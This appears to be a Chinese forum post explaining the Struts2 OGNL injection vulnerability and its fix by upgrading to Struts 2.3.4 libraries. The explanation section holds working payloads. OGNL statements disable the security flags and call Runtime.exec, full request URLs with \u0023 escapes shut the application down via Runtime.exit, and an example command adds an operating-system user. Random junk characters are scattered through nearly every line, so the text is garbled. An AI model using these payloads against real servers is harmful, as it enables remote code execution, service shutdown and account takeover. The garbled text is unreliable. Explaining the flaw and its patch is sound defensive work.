1、struts2漏洞原理
! Y4 a/ \$ ?6 m5 q dStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数: |9 S8 `7 `& m
?user.address.city=Bishkek&user['favoriteDrink']=kumys
+ b0 y1 O9 c2 }2 ~% p9 IONGL将它转换为:
" @6 l% E9 h5 U) D z) _action.getUser().getAddress().setCity(“Bishkek”)) u: E3 T" v# U* w$ o; L3 g7 Z- C# @
action.getUser().setFavoriteDrink(“kumys”)% T. }" E7 p! O3 f
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:
e! }% S6 {- P) R4 A4 E* z5 w方法调用: foo()
6 |$ W1 y7 r6 J, b) E静态方法调用: @java.lang.System@exit(1)
9 R+ v1 l- [' A$ Q. ~构造函数调用: new MyClass()
6 {5 m& m8 Y, _# b* @ J向上下文变量赋值: #foo = new MyClass()3 P+ I. W0 T- a5 U N' [3 j
…
9 j% |5 I( m6 Q因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:
4 Z9 j. `# P4 R. P5 H7 o: N. }+ |OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)2 a3 ~- R0 ~ ~9 m4 p- u# l
SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)
" f: F7 K. @. Z# i( j% c1 G( u为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:
9 }9 |' f5 a1 a0 x#application9 x A% } i% ?8 i& b; j
#session& I: @ `6 F* [
#request
( b3 c5 ^3 E. l% q% p" Y- ~#parameters& W% I' l2 S n8 d
#attr1 T o' o: K6 F4 N4 b r
这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。9 S; q/ {$ z1 s/ Y+ Z8 Q+ m
除了上面的上下文变量以外,还有下面更多的变量:& l w# v" Z1 N' N
#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.3 N+ W' O. s# `8 l K; M& R
#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
. M- Z) J1 k8 I- a& Q, q! d4 l#root8 z% F* `% V- M+ Y# r" @9 W
#this
/ s+ S! O0 J! ^! E: Q#_typeResolver
6 ^% S4 x2 c8 z- B; Y6 A8 w#_classResolver
! I p7 E+ s& q. q6 \/ R2 @7 {#_traceEvaluations
& p( q. v$ j3 H3 v' r5 c#_lastEvaluation- k+ }- m7 j3 k, t) ~6 M d; U
#_keepLastEvaluation
* k2 m: p3 m' K4 b+ ]从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:
( n8 I$ n. g0 C6 h* }#_memberAccess['allowStaticMethodAccess'] = true' N* }+ `' i3 W% t+ ]( u
#foo = new java .lang.Boolean(“false”)
8 y2 u( J" r" l' C6 k#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
/ _1 l4 T! `1 r! r) L8 r: S. \#rt = @java.lang.Runtime@getRuntime()
9 [+ A1 I0 `# @+ x' b _4 c#rt.exec(‘mkdir /tmp/PWNED’)
4 L7 B4 |2 m4 {3 a5 n$ \! I! R另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
) E% o) e$ h- d% O% t5 A$ \旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
1 \% R& D1 W# B) q7 ?OGNL处理时最终的结果就是
5 @4 g9 C/ G$ i c2 ijava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
0 o3 O2 k% s! a) t6 s类似的可以执行
3 T' ~* B( Y ^" z! qjava.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
8 @0 a, @ w: z* [9 h3 W2、struts2漏洞解决方法
/ _. H; Y# O2 y8 W0 Q0 L! T* x将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:; H/ e5 S' u$ U
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)* ]1 x1 T" \- S5 X
javassist-3.11.0.GA.jar (新加包)4 F. `; r6 A. Z* t
ognl-3.0.5.jar (替换旧版本)$ h S& T( p7 m [; ]% L% `
struts2-core-2.3.4.1.jar (替换旧版本)
2 c# R0 _, ]/ J6 oxwork-core-2.3.4.1.jar (替换旧版本)
0 f7 c2 [/ D2 Q |